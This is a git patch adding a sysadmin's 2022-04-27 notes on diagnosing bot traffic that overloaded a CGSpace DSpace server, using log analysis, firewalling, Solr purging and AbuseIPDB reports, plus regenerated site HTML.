From 5cfe954a53fc85934f3bbcd12a8a25ce6634ff08 Mon Sep 17 00:00:00 2001 From: Alan Orth Date: Wed, 27 Apr 2022 09:58:45 +0300 Subject: [PATCH] Add notes for 2022-04-27 --- content/posts/2022-04.md | 145 ++++++ docs/2015-11/index.html | 6 +- docs/2015-12/index.html | 6 +- docs/2016-01/index.html | 6 +- docs/2016-02/index.html | 6 +- docs/2016-03/index.html | 6 +- docs/2016-04/index.html | 6 +- docs/2016-05/index.html | 6 +- docs/2016-06/index.html | 6 +- docs/2016-07/index.html | 6 +- docs/2016-08/index.html | 6 +- docs/2016-09/index.html | 6 +- docs/2016-10/index.html | 6 +- docs/2016-11/index.html | 6 +- docs/2016-12/index.html | 6 +- docs/2017-01/index.html | 6 +- docs/2017-02/index.html | 6 +- docs/2017-03/index.html | 6 +- docs/2017-04/index.html | 6 +- docs/2017-05/index.html | 6 +- docs/2017-06/index.html | 6 +- docs/2017-07/index.html | 6 +- docs/2017-08/index.html | 6 +- docs/2017-09/index.html | 6 +- docs/2017-10/index.html | 6 +- docs/2017-11/index.html | 6 +- docs/2017-12/index.html | 6 +- docs/2018-01/index.html | 6 +- docs/2018-02/index.html | 6 +- docs/2018-03/index.html | 6 +- docs/2018-04/index.html | 6 +- docs/2018-05/index.html | 6 +- docs/2018-06/index.html | 6 +- docs/2018-07/index.html | 6 +- docs/2018-08/index.html | 6 +- docs/2018-09/index.html | 6 +- docs/2018-10/index.html | 6 +- docs/2018-11/index.html | 6 +- docs/2018-12/index.html | 6 +- docs/2019-01/index.html | 6 +- docs/2019-02/index.html | 6 +- docs/2019-03/index.html | 6 +- docs/2019-04/index.html | 6 +- docs/2019-05/index.html | 6 +- docs/2019-06/index.html | 6 +- docs/2019-07/index.html | 6 +- docs/2019-08/index.html | 6 +- docs/2019-09/index.html | 6 +- docs/2019-10/index.html | 6 +- docs/2019-11/index.html | 6 +- docs/2019-12/index.html | 6 +- docs/2020-01/index.html | 6 +- docs/2020-02/index.html | 6 +- docs/2020-03/index.html | 6 +- docs/2020-04/index.html | 6 +- docs/2020-05/index.html | 6 +- docs/2020-06/index.html | 6 +- docs/2020-07/index.html | 6 +- docs/2020-08/index.html | 6 +- docs/2020-09/index.html | 6 +- docs/2020-10/index.html | 6 +- docs/2020-11/index.html | 6 +- docs/2020-12/index.html | 6 +- docs/2021-01/index.html | 6 +- docs/2021-02/index.html | 6 +- docs/2021-03/index.html | 6 +- docs/2021-04/index.html | 6 +- docs/2021-05/index.html | 6 +- docs/2021-06/index.html | 6 +- docs/2021-07/index.html | 6 +- docs/2021-08/index.html | 6 +- docs/2021-09/index.html | 6 +- docs/2021-10/index.html | 6 +- docs/2021-11/index.html | 6 +- docs/2021-12/index.html | 6 +- docs/2022-01/index.html | 6 +- docs/2022-02/index.html | 6 +- docs/2022-03/index.html | 498 +++++++++++------- docs/2022-04/index.html | 529 ++++++++++++++++++++ docs/2022/04/cgspace-load.png | Bin 0 -> 81572 bytes docs/2022/04/jmx_dspace_sessions-day2.png | Bin 0 -> 8112 bytes docs/404.html | 6 +- docs/categories/index.html | 10 +- docs/categories/index.xml | 4 +- docs/categories/notes/index.html | 44 +- docs/categories/notes/index.xml | 20 +- docs/categories/notes/page/2/index.html | 8 +- docs/categories/notes/page/3/index.html | 8 +- docs/categories/notes/page/4/index.html | 8 +- docs/categories/notes/page/5/index.html | 8 +- docs/categories/notes/page/6/index.html | 8 +- docs/cgiar-library-migration/index.html | 6 +- docs/cgspace-cgcorev2-migration/index.html | 6 +- docs/cgspace-dspace6-upgrade/index.html | 6 +- docs/index.html | 46 +- docs/index.xml | 20 +- docs/page/2/index.html | 10 +- docs/page/3/index.html | 10 +- docs/page/4/index.html | 10 +- docs/page/5/index.html | 10 +- docs/page/6/index.html | 10 +- docs/page/7/index.html | 10 +- docs/page/8/index.html | 10 +- docs/page/9/index.html | 10 +- docs/posts/index.html | 46 +- docs/posts/index.xml | 20 +- docs/posts/page/2/index.html | 10 +- docs/posts/page/3/index.html | 10 +- docs/posts/page/4/index.html | 10 +- docs/posts/page/5/index.html | 10 +- docs/posts/page/6/index.html | 10 +- docs/posts/page/7/index.html | 10 +- docs/posts/page/8/index.html | 10 +- docs/posts/page/9/index.html | 10 +- docs/robots.txt | 2 +- docs/sitemap.xml | 22 +- docs/tags/index.html | 6 +- docs/tags/migration/index.html | 6 +- docs/tags/notes/index.html | 6 +- docs/tags/notes/page/2/index.html | 6 +- docs/tags/notes/page/3/index.html | 6 +- static/2022/04/cgspace-load.png | Bin 0 -> 81572 bytes static/2022/04/jmx_dspace_sessions-day2.png | Bin 0 -> 8112 bytes 123 files changed, 1461 insertions(+), 655 deletions(-) create mode 100644 docs/2022-04/index.html create mode 100644 docs/2022/04/cgspace-load.png create mode 100644 docs/2022/04/jmx_dspace_sessions-day2.png create mode 100644 static/2022/04/cgspace-load.png create mode 100644 static/2022/04/jmx_dspace_sessions-day2.png diff --git a/content/posts/2022-04.md b/content/posts/2022-04.md index 6afb2cea8..27e5bf8b6 100644 --- a/content/posts/2022-04.md +++ b/content/posts/2022-04.md @@ -228,4 +228,149 @@ $ ./ilri/fix-metadata-values.py -i /tmp/regions.csv -db dspace -u dspace -p 'fuu - Then I started a new harvest on AReS +## 2022-04-27 + +- I woke up to many up down notices for CGSpace from UptimeRobot + - The server has load 111.0... sigh. +- According to Grafana it seems to have started at 4:00 AM + +![Grafana load](/cgspace-notes/2022/04/cgspace-load.png) + +- There are a metric fuck ton of database locks from the XMLUI: + +```console +$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c + 128 dspaceApi + 16890 dspaceWeb +``` + +- As for the server logs, I don't see many IPs connecting today: + +```console +# cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq | wc -l +2924 +``` + +- But there appear to be some IPs making many requests: + +```console +# cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -h +... + 345 207.46.13.53 + 646 66.249.66.222 + 678 54.90.79.112 + 1529 136.243.148.249 + 1797 54.175.8.110 + 2304 174.129.118.171 + 2523 66.249.66.221 + 2632 52.73.204.196 + 2667 54.174.240.122 + 5206 35.172.193.232 + 5646 35.153.131.101 + 6373 3.85.92.145 + 7383 34.227.10.4 + 8330 100.24.63.172 + 8342 34.236.36.176 + 8369 44.200.190.111 + 8371 3.238.116.153 + 8391 18.232.101.158 + 8631 3.239.81.247 + 8634 54.82.125.225 +``` + +- 54.82.125.225, 3.239.81.247, 18.232.101.158, 3.238.116.153, 44.200.190.111, 34.236.36.176, 100.24.63.172, 3.85.92.145, 35.153.131.101, 35.172.193.232, 54.174.240.122, 52.73.204.196, 174.129.118.171, 54.175.8.110, and 54.90.79.112 are all on Amazon and using this normal-looking user agent: + +``` +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.3 +``` + +- None of these hosts are re-using their DSpace session ID so they are definitely not normal browsers as they are claiming: + +```console +$ grep 54.82.125.225 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l +5760 +$ grep 3.239.81.247 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l +6053 +$ grep 18.232.101.158 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l +5841 +$ grep 3.238.116.153 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l +5887 +$ grep 44.200.190.111 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l +5899 +... +``` + +- And we can see a massive spike in sessions in Munin: + +![Grafana load](/cgspace-notes/2022/04/jmx_dspace_sessions-day2.png) + +- I see the following IPs using that user agent today: + +```console +# grep 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36' /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -h + 678 54.90.79.112 + 1797 54.175.8.110 + 2697 174.129.118.171 + 2765 52.73.204.196 + 3072 54.174.240.122 + 5206 35.172.193.232 + 5646 35.153.131.101 + 6783 3.85.92.145 + 7763 34.227.10.4 + 8738 100.24.63.172 + 8748 34.236.36.176 + 8787 3.238.116.153 + 8794 18.232.101.158 + 8806 44.200.190.111 + 9021 54.82.125.225 + 9027 3.239.81.247 +``` + +- I added those IPs to the firewall and then purged their hits from Solr: + +```console +$ ./ilri/check-spider-ip-hits.sh -f /tmp/ips.txt -p +Purging 6024 hits from 100.24.63.172 in statistics +Purging 1719 hits from 174.129.118.171 in statistics +Purging 5972 hits from 18.232.101.158 in statistics +Purging 6053 hits from 3.238.116.153 in statistics +Purging 6228 hits from 3.239.81.247 in statistics +Purging 5305 hits from 34.227.10.4 in statistics +Purging 6002 hits from 34.236.36.176 in statistics +Purging 3908 hits from 35.153.131.101 in statistics +Purging 3692 hits from 35.172.193.232 in statistics +Purging 4525 hits from 3.85.92.145 in statistics +Purging 6048 hits from 44.200.190.111 in statistics +Purging 1942 hits from 52.73.204.196 in statistics +Purging 1944 hits from 54.174.240.122 in statistics +Purging 1264 hits from 54.175.8.110 in statistics +Purging 6117 hits from 54.82.125.225 in statistics +Purging 486 hits from 54.90.79.112 in statistics + +Total number of bot hits purged: 67229 +``` + +- Then I created a CSV with these IPs and reported them to AbuseIPDB.com: + +```console +$ cat /tmp/ips.csv +IP,Categories,ReportDate,Comment +100.24.63.172,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +174.129.118.171,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +18.232.101.158,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +3.238.116.153,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +3.239.81.247,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +34.227.10.4,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +34.236.36.176,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +35.153.131.101,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +35.172.193.232,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +3.85.92.145,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +44.200.190.111,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +52.73.204.196,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +54.174.240.122,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +54.175.8.110,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +54.82.125.225,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +54.90.79.112,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +``` + diff --git a/docs/2015-11/index.html b/docs/2015-11/index.html index b584622b5..52ce62961 100644 --- a/docs/2015-11/index.html +++ b/docs/2015-11/index.html @@ -34,7 +34,7 @@ Last week I had increased the limit from 30 to 60, which seemed to help, but now $ psql -c 'SELECT * from pg_stat_activity;' | grep idle | grep -c cgspace 78 "/> - + @@ -242,9 +242,9 @@ db.statementpool = true
    -
  1. March, 2022
  2. +
  3. April, 2022
  4. -
  5. April, 2022
  6. +
  7. March, 2022
  8. February, 2022
  9. diff --git a/docs/2015-12/index.html b/docs/2015-12/index.html index 93276906a..e956e8848 100644 --- a/docs/2015-12/index.html +++ b/docs/2015-12/index.html @@ -36,7 +36,7 @@ Replace lzop with xz in log compression cron jobs on DSpace Test—it uses less -rw-rw-r-- 1 tomcat7 tomcat7 387K Nov 18 23:59 dspace.log.2015-11-18.lzo -rw-rw-r-- 1 tomcat7 tomcat7 169K Nov 18 23:59 dspace.log.2015-11-18.xz "/> - + @@ -264,9 +264,9 @@ $ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle
      -
    1. March, 2022
    2. +
    3. April, 2022
    4. -
    5. April, 2022
    6. +
    7. March, 2022
    8. February, 2022
    9. diff --git a/docs/2016-01/index.html b/docs/2016-01/index.html index caedf9ade..92adc73c0 100644 --- a/docs/2016-01/index.html +++ b/docs/2016-01/index.html @@ -28,7 +28,7 @@ Move ILRI collection 10568/12503 from 10568/27869 to 10568/27629 using the move_ I realized it is only necessary to clear the Cocoon cache after moving collections—rather than reindexing—as no metadata has changed, and therefore no search or browse indexes need to be updated. Update GitHub wiki for documentation of maintenance tasks. "/> - + @@ -200,9 +200,9 @@ $ find SimpleArchiveForBio/ -iname “*.pdf” -exec basename {} ; | sor
        -
      1. March, 2022
      2. +
      3. April, 2022
      4. -
      5. April, 2022
      6. +
      7. March, 2022
      8. February, 2022
      9. diff --git a/docs/2016-02/index.html b/docs/2016-02/index.html index 87b863640..b9ff7a981 100644 --- a/docs/2016-02/index.html +++ b/docs/2016-02/index.html @@ -38,7 +38,7 @@ I noticed we have a very interesting list of countries on CGSpace: Not only are there 49,000 countries, we have some blanks (25)… Also, lots of things like “COTE D`LVOIRE” and “COTE D IVOIRE” "/> - + @@ -378,9 +378,9 @@ Bitstream: tést señora alimentación.pdf
          -
        1. March, 2022
        2. +
        3. April, 2022
        4. -
        5. April, 2022
        6. +
        7. March, 2022
        8. February, 2022
        9. diff --git a/docs/2016-03/index.html b/docs/2016-03/index.html index 336ebdeae..6e14dc9df 100644 --- a/docs/2016-03/index.html +++ b/docs/2016-03/index.html @@ -28,7 +28,7 @@ Looking at issues with author authorities on CGSpace For some reason we still have the index-lucene-update cron job active on CGSpace, but I’m pretty sure we don’t need it as of the latest few versions of Atmire’s Listings and Reports module Reinstall my local (Mac OS X) DSpace stack with Tomcat 7, PostgreSQL 9.3, and Java JDK 1.7 to match environment on CGSpace server "/> - + @@ -316,9 +316,9 @@ Reinstall my local (Mac OS X) DSpace stack with Tomcat 7, PostgreSQL 9.3, and Ja
            -
          1. March, 2022
          2. +
          3. April, 2022
          4. -
          5. April, 2022
          6. +
          7. March, 2022
          8. February, 2022
          9. diff --git a/docs/2016-04/index.html b/docs/2016-04/index.html index 0396f86d1..ce8bdd564 100644 --- a/docs/2016-04/index.html +++ b/docs/2016-04/index.html @@ -32,7 +32,7 @@ After running DSpace for over five years I’ve never needed to look in any This will save us a few gigs of backup space we’re paying for on S3 Also, I noticed the checker log has some errors we should pay attention to: "/> - + @@ -495,9 +495,9 @@ dspace.log.2016-04-27:7271
              -
            1. March, 2022
            2. +
            3. April, 2022
            4. -
            5. April, 2022
            6. +
            7. March, 2022
            8. February, 2022
            9. diff --git a/docs/2016-05/index.html b/docs/2016-05/index.html index d4030a4fc..199543e46 100644 --- a/docs/2016-05/index.html +++ b/docs/2016-05/index.html @@ -34,7 +34,7 @@ There are 3,000 IPs accessing the REST API in a 24-hour period! # awk '{print $1}' /var/log/nginx/rest.log | uniq | wc -l 3168 "/> - + @@ -371,9 +371,9 @@ sys 0m20.540s
                -
              1. March, 2022
              2. +
              3. April, 2022
              4. -
              5. April, 2022
              6. +
              7. March, 2022
              8. February, 2022
              9. diff --git a/docs/2016-06/index.html b/docs/2016-06/index.html index 949db6f0b..6500ee628 100644 --- a/docs/2016-06/index.html +++ b/docs/2016-06/index.html @@ -34,7 +34,7 @@ This is their publications set: http://ebrary.ifpri.org/oai/oai.php?verb=ListRec You can see the others by using the OAI ListSets verb: http://ebrary.ifpri.org/oai/oai.php?verb=ListSets Working on second phase of metadata migration, looks like this will work for moving CPWF-specific data in dc.identifier.fund to cg.identifier.cpwfproject and then the rest to dc.description.sponsorship "/> - + @@ -409,9 +409,9 @@ $ ./delete-metadata-values.py -f dc.contributor.corporate -i Corporate-Authors-D
                  -
                1. March, 2022
                2. +
                3. April, 2022
                4. -
                5. April, 2022
                6. +
                7. March, 2022
                8. February, 2022
                9. diff --git a/docs/2016-07/index.html b/docs/2016-07/index.html index 7d02b6b0c..c568d5b8b 100644 --- a/docs/2016-07/index.html +++ b/docs/2016-07/index.html @@ -44,7 +44,7 @@ dspacetest=# select text_value from metadatavalue where metadata_field_id=3 and In this case the select query was showing 95 results before the update "/> - + @@ -325,9 +325,9 @@ discovery.index.authority.ignore-variants=true
                    -
                  1. March, 2022
                  2. +
                  3. April, 2022
                  4. -
                  5. April, 2022
                  6. +
                  7. March, 2022
                  8. February, 2022
                  9. diff --git a/docs/2016-08/index.html b/docs/2016-08/index.html index 536ff672b..86991b14f 100644 --- a/docs/2016-08/index.html +++ b/docs/2016-08/index.html @@ -42,7 +42,7 @@ $ git checkout -b 55new 5_x-prod $ git reset --hard ilri/5_x-prod $ git rebase -i dspace-5.5 "/> - + @@ -389,9 +389,9 @@ $ JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx512m" /home/cgspace.cgiar.org/bin
                      -
                    1. March, 2022
                    2. +
                    3. April, 2022
                    4. -
                    5. April, 2022
                    6. +
                    7. March, 2022
                    8. February, 2022
                    9. diff --git a/docs/2016-09/index.html b/docs/2016-09/index.html index 82029c2f6..783807a21 100644 --- a/docs/2016-09/index.html +++ b/docs/2016-09/index.html @@ -34,7 +34,7 @@ It looks like we might be able to use OUs now, instead of DCs: $ ldapsearch -x -H ldaps://svcgroot2.cgiarad.org:3269/ -b "dc=cgiarad,dc=org" -D "admigration1@cgiarad.org" -W "(sAMAccountName=admigration1)" "/> - + @@ -606,9 +606,9 @@ $ ./delete-metadata-values.py -i ilrisubjects-delete-13.csv -f cg.subject.ilri -
                        -
                      1. March, 2022
                      2. +
                      3. April, 2022
                      4. -
                      5. April, 2022
                      6. +
                      7. March, 2022
                      8. February, 2022
                      9. diff --git a/docs/2016-10/index.html b/docs/2016-10/index.html index 4a20238b7..6c3c7a011 100644 --- a/docs/2016-10/index.html +++ b/docs/2016-10/index.html @@ -42,7 +42,7 @@ I exported a random item’s metadata as CSV, deleted all columns except id 0000-0002-6115-0956||0000-0002-3812-8793||0000-0001-7462-405X "/> - + @@ -372,9 +372,9 @@ dspace=# update metadatavalue set text_value = regexp_replace(text_value, 'h
                          -
                        1. March, 2022
                        2. +
                        3. April, 2022
                        4. -
                        5. April, 2022
                        6. +
                        7. March, 2022
                        8. February, 2022
                        9. diff --git a/docs/2016-11/index.html b/docs/2016-11/index.html index 400c4aaef..f2719555b 100644 --- a/docs/2016-11/index.html +++ b/docs/2016-11/index.html @@ -26,7 +26,7 @@ Add dc.type to the output options for Atmire’s Listings and Reports module Add dc.type to the output options for Atmire’s Listings and Reports module (#286) "/> - + @@ -548,9 +548,9 @@ org.dspace.discovery.SearchServiceException: Error executing query
                            -
                          1. March, 2022
                          2. +
                          3. April, 2022
                          4. -
                          5. April, 2022
                          6. +
                          7. March, 2022
                          8. February, 2022
                          9. diff --git a/docs/2016-12/index.html b/docs/2016-12/index.html index e76eff7e5..5c54ca72e 100644 --- a/docs/2016-12/index.html +++ b/docs/2016-12/index.html @@ -46,7 +46,7 @@ I see thousands of them in the logs for the last few months, so it’s not r I’ve raised a ticket with Atmire to ask Another worrying error from dspace.log is: "/> - + @@ -784,9 +784,9 @@ $ exit
                              -
                            1. March, 2022
                            2. +
                            3. April, 2022
                            4. -
                            5. April, 2022
                            6. +
                            7. March, 2022
                            8. February, 2022
                            9. diff --git a/docs/2017-01/index.html b/docs/2017-01/index.html index 43e8cff76..d540deb26 100644 --- a/docs/2017-01/index.html +++ b/docs/2017-01/index.html @@ -28,7 +28,7 @@ I checked to see if the Solr sharding task that is supposed to run on January 1s I tested on DSpace Test as well and it doesn’t work there either I asked on the dspace-tech mailing list because it seems to be broken, and actually now I’m not sure if we’ve ever had the sharding task run successfully over all these years "/> - + @@ -369,9 +369,9 @@ $ gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/ebook -dNOPAUSE -
                                -
                              1. March, 2022
                              2. +
                              3. April, 2022
                              4. -
                              5. April, 2022
                              6. +
                              7. March, 2022
                              8. February, 2022
                              9. diff --git a/docs/2017-02/index.html b/docs/2017-02/index.html index d5feba155..5c109c156 100644 --- a/docs/2017-02/index.html +++ b/docs/2017-02/index.html @@ -50,7 +50,7 @@ DELETE 1 Create issue on GitHub to track the addition of CCAFS Phase II project tags (#301) Looks like we’ll be using cg.identifier.ccafsprojectpii as the field name "/> - + @@ -423,9 +423,9 @@ COPY 1968
                                  -
                                1. March, 2022
                                2. +
                                3. April, 2022
                                4. -
                                5. April, 2022
                                6. +
                                7. March, 2022
                                8. February, 2022
                                9. diff --git a/docs/2017-03/index.html b/docs/2017-03/index.html index 8a78e16f4..dd4e4acc1 100644 --- a/docs/2017-03/index.html +++ b/docs/2017-03/index.html @@ -54,7 +54,7 @@ Interestingly, it seems DSpace 4.x’s thumbnails were sRGB, but forcing reg $ identify ~/Desktop/alc_contrastes_desafios.jpg /Users/aorth/Desktop/alc_contrastes_desafios.jpg JPEG 464x600 464x600+0+0 8-bit CMYK 168KB 0.000u 0:00.000 "/> - + @@ -355,9 +355,9 @@ $ ./delete-metadata-values.py -i Investors-Delete-121.csv -f dc.description.spon
                                    -
                                  1. March, 2022
                                  2. +
                                  3. April, 2022
                                  4. -
                                  5. April, 2022
                                  6. +
                                  7. March, 2022
                                  8. February, 2022
                                  9. diff --git a/docs/2017-04/index.html b/docs/2017-04/index.html index b21cb2548..8e6df6fe8 100644 --- a/docs/2017-04/index.html +++ b/docs/2017-04/index.html @@ -40,7 +40,7 @@ Testing the CMYK patch on a collection with 650 items: $ [dspace]/bin/dspace filter-media -f -i 10568/16498 -p "ImageMagick PDF Thumbnail" -v >& /tmp/filter-media-cmyk.txt "/> - + @@ -585,9 +585,9 @@ $ gem install compass -v 1.0.3
                                      -
                                    1. March, 2022
                                    2. +
                                    3. April, 2022
                                    4. -
                                    5. April, 2022
                                    6. +
                                    7. March, 2022
                                    8. February, 2022
                                    9. diff --git a/docs/2017-05/index.html b/docs/2017-05/index.html index b1beedf42..f9311d1b0 100644 --- a/docs/2017-05/index.html +++ b/docs/2017-05/index.html @@ -18,7 +18,7 @@ - + @@ -391,9 +391,9 @@ UPDATE 187
                                        -
                                      1. March, 2022
                                      2. +
                                      3. April, 2022
                                      4. -
                                      5. April, 2022
                                      6. +
                                      7. March, 2022
                                      8. February, 2022
                                      9. diff --git a/docs/2017-06/index.html b/docs/2017-06/index.html index 8bcbe1817..096f60d93 100644 --- a/docs/2017-06/index.html +++ b/docs/2017-06/index.html @@ -18,7 +18,7 @@ - + @@ -270,9 +270,9 @@ $ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" [dspace]/bin/dspace import
                                          -
                                        1. March, 2022
                                        2. +
                                        3. April, 2022
                                        4. -
                                        5. April, 2022
                                        6. +
                                        7. March, 2022
                                        8. February, 2022
                                        9. diff --git a/docs/2017-07/index.html b/docs/2017-07/index.html index adf7e4005..7ecf11826 100644 --- a/docs/2017-07/index.html +++ b/docs/2017-07/index.html @@ -36,7 +36,7 @@ Merge changes for WLE Phase II theme rename (#329) Looking at extracting the metadata registries from ICARDA’s MEL DSpace database so we can compare fields with CGSpace We can use PostgreSQL’s extended output format (-x) plus sed to format the output into quasi XML: "/> - + @@ -275,9 +275,9 @@ delete from metadatavalue where resource_type_id=2 and metadata_field_id=235 and
                                            -
                                          1. March, 2022
                                          2. +
                                          3. April, 2022
                                          4. -
                                          5. April, 2022
                                          6. +
                                          7. March, 2022
                                          8. February, 2022
                                          9. diff --git a/docs/2017-08/index.html b/docs/2017-08/index.html index 3cd3218ca..b37f55d54 100644 --- a/docs/2017-08/index.html +++ b/docs/2017-08/index.html @@ -60,7 +60,7 @@ This was due to newline characters in the dc.description.abstract column, which I exported a new CSV from the collection on DSpace Test and then manually removed the characters in vim using g/^$/d Then I cleaned up the author authorities and HTML characters in OpenRefine and sent the file back to Abenet "/> - + @@ -517,9 +517,9 @@ org.apache.commons.dbcp.SQLNestedException: Cannot get a connection, pool error
                                              -
                                            1. March, 2022
                                            2. +
                                            3. April, 2022
                                            4. -
                                            5. April, 2022
                                            6. +
                                            7. March, 2022
                                            8. February, 2022
                                            9. diff --git a/docs/2017-09/index.html b/docs/2017-09/index.html index 6ee24b3a9..32a0ea80f 100644 --- a/docs/2017-09/index.html +++ b/docs/2017-09/index.html @@ -32,7 +32,7 @@ Linode sent an alert that CGSpace (linode18) was using 261% CPU for the past two Ask Sisay to clean up the WLE approvers a bit, as Marianne’s user account is both in the approvers step as well as the group "/> - + @@ -659,9 +659,9 @@ Cert Status: good
                                                -
                                              1. March, 2022
                                              2. +
                                              3. April, 2022
                                              4. -
                                              5. April, 2022
                                              6. +
                                              7. March, 2022
                                              8. February, 2022
                                              9. diff --git a/docs/2017-10/index.html b/docs/2017-10/index.html index d47641d6a..55809997c 100644 --- a/docs/2017-10/index.html +++ b/docs/2017-10/index.html @@ -34,7 +34,7 @@ http://hdl.handle.net/10568/78495||http://hdl.handle.net/10568/79336 There appears to be a pattern but I’ll have to look a bit closer and try to clean them up automatically, either in SQL or in OpenRefine Add Katherine Lutz to the groups for content submission and edit steps of the CGIAR System collections "/> - + @@ -443,9 +443,9 @@ session_id=6C30F10B4351A4ED83EC6ED50AFD6B6A
                                                  -
                                                1. March, 2022
                                                2. +
                                                3. April, 2022
                                                4. -
                                                5. April, 2022
                                                6. +
                                                7. March, 2022
                                                8. February, 2022
                                                9. diff --git a/docs/2017-11/index.html b/docs/2017-11/index.html index cb05a62fa..a15ce88a6 100644 --- a/docs/2017-11/index.html +++ b/docs/2017-11/index.html @@ -48,7 +48,7 @@ Generate list of authors on CGSpace for Peter to go through and correct: dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 group by text_value order by count desc) to /tmp/authors.csv with csv; COPY 54701 "/> - + @@ -944,9 +944,9 @@ $ cat dspace.log.2017-11-28 | grep -o -E 'session_id=[A-Z0-9]{32}' | sor
                                                    -
                                                  1. March, 2022
                                                  2. +
                                                  3. April, 2022
                                                  4. -
                                                  5. April, 2022
                                                  6. +
                                                  7. March, 2022
                                                  8. February, 2022
                                                  9. diff --git a/docs/2017-12/index.html b/docs/2017-12/index.html index 162fd5b7d..8f0680559 100644 --- a/docs/2017-12/index.html +++ b/docs/2017-12/index.html @@ -30,7 +30,7 @@ The logs say “Timeout waiting for idle object” PostgreSQL activity says there are 115 connections currently The list of connections to XMLUI and REST API for today: "/> - + @@ -783,9 +783,9 @@ DELETE 20
                                                      -
                                                    1. March, 2022
                                                    2. +
                                                    3. April, 2022
                                                    4. -
                                                    5. April, 2022
                                                    6. +
                                                    7. March, 2022
                                                    8. February, 2022
                                                    9. diff --git a/docs/2018-01/index.html b/docs/2018-01/index.html index 8c2b1ec6d..729913157 100644 --- a/docs/2018-01/index.html +++ b/docs/2018-01/index.html @@ -150,7 +150,7 @@ dspace.log.2018-01-02:34 Danny wrote to ask for help renewing the wildcard ilri.org certificate and I advised that we should probably use Let’s Encrypt if it’s just a handful of domains "/> - + @@ -1452,9 +1452,9 @@ Catalina:type=Manager,context=/,host=localhost activeSessions 8
                                                        -
                                                      1. March, 2022
                                                      2. +
                                                      3. April, 2022
                                                      4. -
                                                      5. April, 2022
                                                      6. +
                                                      7. March, 2022
                                                      8. February, 2022
                                                      9. diff --git a/docs/2018-02/index.html b/docs/2018-02/index.html index e1a38a570..5ee2b904a 100644 --- a/docs/2018-02/index.html +++ b/docs/2018-02/index.html @@ -30,7 +30,7 @@ We don’t need to distinguish between internal and external works, so that Yesterday I figured out how to monitor DSpace sessions using JMX I copied the logic in the jmx_tomcat_dbpools provided by Ubuntu’s munin-plugins-java package and used the stuff I discovered about JMX in 2018-01 "/> - + @@ -1038,9 +1038,9 @@ UPDATE 3
                                                          -
                                                        1. March, 2022
                                                        2. +
                                                        3. April, 2022
                                                        4. -
                                                        5. April, 2022
                                                        6. +
                                                        7. March, 2022
                                                        8. February, 2022
                                                        9. diff --git a/docs/2018-03/index.html b/docs/2018-03/index.html index 8fb68eb71..00c6ac5bb 100644 --- a/docs/2018-03/index.html +++ b/docs/2018-03/index.html @@ -24,7 +24,7 @@ Export a CSV of the IITA community metadata for Martin Mueller Export a CSV of the IITA community metadata for Martin Mueller "/> - + @@ -585,9 +585,9 @@ Fixed 5 occurences of: GENEBANKS
                                                            -
                                                          1. March, 2022
                                                          2. +
                                                          3. April, 2022
                                                          4. -
                                                          5. April, 2022
                                                          6. +
                                                          7. March, 2022
                                                          8. February, 2022
                                                          9. diff --git a/docs/2018-04/index.html b/docs/2018-04/index.html index 34d5be425..6258f59dc 100644 --- a/docs/2018-04/index.html +++ b/docs/2018-04/index.html @@ -26,7 +26,7 @@ Catalina logs at least show some memory errors yesterday: I tried to test something on DSpace Test but noticed that it’s down since god knows when Catalina logs at least show some memory errors yesterday: "/> - + @@ -594,9 +594,9 @@ $ pg_restore -O -U dspacetest -d dspacetest -W -h localhost /tmp/dspace_2018-04-
                                                              -
                                                            1. March, 2022
                                                            2. +
                                                            3. April, 2022
                                                            4. -
                                                            5. April, 2022
                                                            6. +
                                                            7. March, 2022
                                                            8. February, 2022
